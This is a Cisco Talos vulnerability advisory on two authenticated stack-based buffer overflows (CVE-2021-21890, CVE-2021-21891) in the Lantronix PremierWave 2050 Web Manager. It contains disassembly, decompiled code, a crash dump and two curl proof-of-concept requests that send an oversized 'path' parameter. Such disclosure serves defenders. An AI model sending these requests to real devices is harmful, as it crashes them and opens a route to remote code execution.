

Talos Vulnerability Report

TALOS-2021-1334

Lantronix PremierWave 2050 Web Manager FsBrowseClean stack-based buffer overflow vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21890,CVE-2021-21891

Summary

A stack-based buffer overflow vulnerability exists in the Web Manager FsBrowseClean functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

<https://www.lantronix.com/products/premierwave2050/>

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

A specially crafted HTTP request can lead to one of two stack overflows in the function responsible for handling the FsBrowseClean ajax directive in the PremierWave 2050 Web Manager application, `ltrx_evo`. Within this function are two conditional calls to `sprintf` with a fixed sized destination and a user-controlled source. Successful exploitation allows an authenticated attacker with the `filesystem` permission to overflow a fixed-size buffer allocated on the stack and corrupt the stack frame, resulting in attacker-control of the program counter and therefore remote code execution. The condition that determines which of the two exploitable `sprintf` calls will be used is whether the `action POST` parameter is `"deletedir"` or `"deletefile"`.

Below is the initial disassembly of the function responsible for handling FsBrowseClean functionality. This portion of the function is always executed, no matter which action was provided in the request. This portion extracts the three post parameters (`action`, `dir`, and `path`), verifies only that they are not empty, and confirms that the user is authorized to access `filesystem` related functionality.

```

.text:000559A8      PUSH        {R4-R8,LR}
.text:000559AC      LDR         R1, =aAction ; "action"
.text:000559B0      SUB         SP, SP, #0x1000
.text:000559B4      SUB         SP, SP, #0x10
.text:000559B8      MOV         R4, R0
.text:000559BC      BL          get_POST_param ; [1] Get "action" POST parameter
.text:000559C0      LDR         R1, =aPath ; "path"
.text:000559C4      LDR         R8, =PrintPostResults
.text:000559C8      MOV         R6, R0
.text:000559CC      MOV         R0, R4
.text:000559D0      BL          get_POST_param ; [2] Get "path" POST parameter
.text:000559D4      LDR         R1, =(aDeletedir+6) ; "dir"
.text:000559D8      MOV         R5, R0 ;
.text:000559DC      MOV         R0, R4
.text:000559E0      BL          get_POST_param ; [3] Get "dir" POST parameter
.text:000559E4      MOV         R7, R0
.text:000559E8      MOV         R0, R4
.text:000559EC      BL          init_xml_response
.text:000559F0      MOV         R2, #0
.text:000559F4      MOV         R0, R4
.text:000559F8      LDR         R1, [R8]
.text:000559FC      LDR         R3, =null_byte_
.text:00055A00      BL          stream_xml_elem
.text:00055A04      LDR         R2, [R4] ; [4] Verify that an authenticated user is associated with
this request
.text:00055A08      CMP         R2, #0
.text:00055A0C      BNE         loc_55A44
.text:00055A10      MOV         R3, #4
.text:00055A14      STR         R3, [SP,#0x1028+var_1028]
.text:00055A18      LDR         R3, =aUserNotLoggedIn ; "user not logged in!"
.text:00055A1C      LDR         R0, =aJenkinsWorkspa_37 ; "/jenkins/workspace/gg-develop/buildroot"...
.text:00055A20      STR         R3, [SP,#0x1028+var_1024]
.text:00055A24      MOV         R1, #0x188
.text:00055A28      MOV         R3, #8
.text:00055A2C      BL          logmsgsf
.text:00055A30      MOV         R0, R4
.text:00055A34      LDR         R1, [R8] ; "PrintPostResults"
.text:00055A38      LDR         R2, =(aMsgsMisc+6) ; "misc"
.text:00055A3C      MOV         R3, #0x2A ; '*'
.text:00055A40      B          loc_55AC0
.text:00055A44 ; -----
.text:00055A44      MOV         R0, R2
.text:00055A48      LDR         R1, =aFilesystem ; "filesystem"
.text:00055A4C      BL          IsGroupListWritable ; [5] Verify that the user has 'filesystem' permissions
.text:00055A50      SUBS        R2, R0, #0
.text:00055A54      BNE         loc_55A94
.text:00055A58      MOV         R3, #4
.text:00055A5C      STR         R3, [SP,#0x1028+var_1028]
.text:00055A60      LDR         R3, =aUserDoesNotHa_28 ; "user [%s] does not have permission to r"...
.text:00055A64      LDR         R0, =aJenkinsWorkspa_37 ; "/jenkins/workspace/gg-develop/buildroot"...
.text:00055A68      STR         R3, [SP,#0x1028+var_1024]
.text:00055A6C      LDR         R3, [R4]
.text:00055A70      LDR         R1, =0x18F
.text:00055A74      STR         R3, [SP,#0x1028+var_1020]
.text:00055A78      MOV         R3, #8
.text:00055A7C      BL          logmsgsf
.text:00055A80      MOV         R0, R4
.text:00055A84      LDR         R1, [R8] ; "PrintPostResults"
.text:00055A88      LDR         R2, =(aMsgsMisc+6) ; "misc"
.text:00055A8C      MOV         R3, #0x29 ; ')'
.text:00055A90      B          loc_55AC0

```

Included below is a partial decompilation of the above assembly, including both vulnerable calls to sprintf.

```

__fastcall sub_559A8(HTTP_struct* request) {
    char *action;
    char *path;
    char* dir;
    ...
    char buff[4120];

    action = get_POST_param(request, "action");
    path = get_POST_param(request, "path");
    dir = get_POST_param(request, "dir");

    if ( request->username ) {
        if ( !IsGroupListWritable(request->username, "filesystem") { [1] Confirm that the user is authorized for this API call
            error();
        }
    }

    if ( !action || !*action ) { error(); }
    if ( !path || !*path ) { error(); }
    if ( !dir || !*dir ) { error(); }

    if ( !strcmp(action, "deletedir") ) {
        sprintf(buff, "%s%s", "/ltrx_user", path); [2a] Vulnerable attempt to construct a filepath, rooted at
        '/ltrx_user'
        ...
    } else if ( !strcmp(action, "deletefile") ) {
        sprintf(buff, "%s%s", "/ltrx_user", path); [2b] Vulnerable attempt to construct a filepath, rooted at
        '/ltrx_user'
        ....
    } else {
        error();
    }
    ...
}

```

CVE-2021-21890 - deletedir buffer overflow

Below is the vulnerable portion of the branch that is taken if deletedir is provided as the action parameter.

```

.text:00055B18      MOV             R0, R6 ; s1
.text:00055B1C      LDR             R1, =aDeletedir ; "deletedir"
.text:00055B20      BL              strcmp
.text:00055B24      CMP             R0, #0
.text:00055B28      BNE             loc_55C00
.text:00055B2C      LDR             R1, =aSS_1 ; "%s%s"
.text:00055B30      LDR             R2, =path ; "/ltrx_user"
.text:00055B34      MOV             R3, R5
.text:00055B38      ADD             R0, SP, #0x1028+buff
.text:00055B3C      BL              sprintf ; [6a] Unchecked sprintf() to move `path` into buff[4120]
.text:00055B40      ADD             R0, SP, #0x1028+buff
.text:00055B44      LDR             R1, =aLtrxUserPwxcrcr ; "/ltrx_user/pwxcrcr"
.text:00055B48      BL              strcmp
.text:00055B4C      CMP             R0, #0
.text:00055B50      BNE             loc_55B74
.text:00055B54      MOV             R3, #1
.text:00055B58      STMEA           SP, {R3,R5}
.text:00055B5C      LDR             R3, =PrintPostResults
.text:00055B60      MOV             R0, R4
.text:00055B64      LDR             R1, [R3] ; "PrintPostResults"
.text:00055B68      LDR             R3, =fs
.text:00055B6C      LDR             R2, [R3] ; "fs"
.text:00055B70      B               loc_55C78

```

Note that at no point in time is the length of path (stored in R5) checked before being passed as a paramter to sprintf.

Exploit Proof of Concept

```
curl --user admin:PASS -d "ajax=FsBrowseClean&action=deletedir&dir=/&path=`python -c "print('M'*9000)``" http://192.168.0.1/
```

CVE-2021-21891 - deletefile buffer overflow

Alternatively, here is the vulnerable portion of the branch taken if deletefile is passed as the action parameter.

```

...
.text:00055C00      MOV             R0, R6 ; s1
.text:00055C04      LDR             R1, =aDeletefile ; "deletefile"
.text:00055C08      BL              strcmp
.text:00055C0C      CMP             R0, #0
.text:00055C10      BNE             loc_55AA8
.text:00055C14      LDR             R1, =aSS_1 ; "%s%s"
.text:00055C18      LDR             R2, =path ; "/ltrx_user"
.text:00055C1C      MOV             R3, R5
.text:00055C20      ADD             R0, SP, #0x1028+buff ; s
.text:00055C24      BL              sprintf ; [6b] Unchecked sprintf() to move `path` into buff[4120]
...

```

Again, we note that no validation is conducted prior to use.

Crash Information

```

Thread 11 "ltrx_evo" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 5076.5194]

----- registers -----
$r0 : 0x1
$r1 : 0x0
$r2 : 0x422444d4 -> 0x00000000
$r3 : 0x2
$r4 : 0x4d4d4d4d ("MMMM"? )
$r5 : 0x4d4d4d4d ("MMMM"? )
$r6 : 0x4d4d4d4d ("MMMM"? )
$r7 : 0x4d4d4d4d ("MMMM"? )
$r8 : 0x4d4d4d4d ("MMMM"? )
$r9 : 0x4093f245 -> 0x54480000
$r10 : 0x40913620 -> 0x40914268 -> 0x0014c024 -> "/logout"
$r11 : 0x6
$r12 : 0x0
$sp : 0x4223cec8 -> "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM[...]"
$lir : 0x000e3c78 -> movs r1, r0
$pc : 0x4d4d4d4c ("LMMM"? )
$cpsr: [negative zero carry overflow interrupt fast THUMB]

```

Exploit Proof of Concept

```
curl --user admin:PASS -d "ajax=FsBrowseClean&action=deletefile&dir=/&path=`python -c "print('M'*9000)``" http://192.168.0.1/
```

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date

2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

NEXT REPORT

TALOS-2021-1338

TALOS-2021-1348
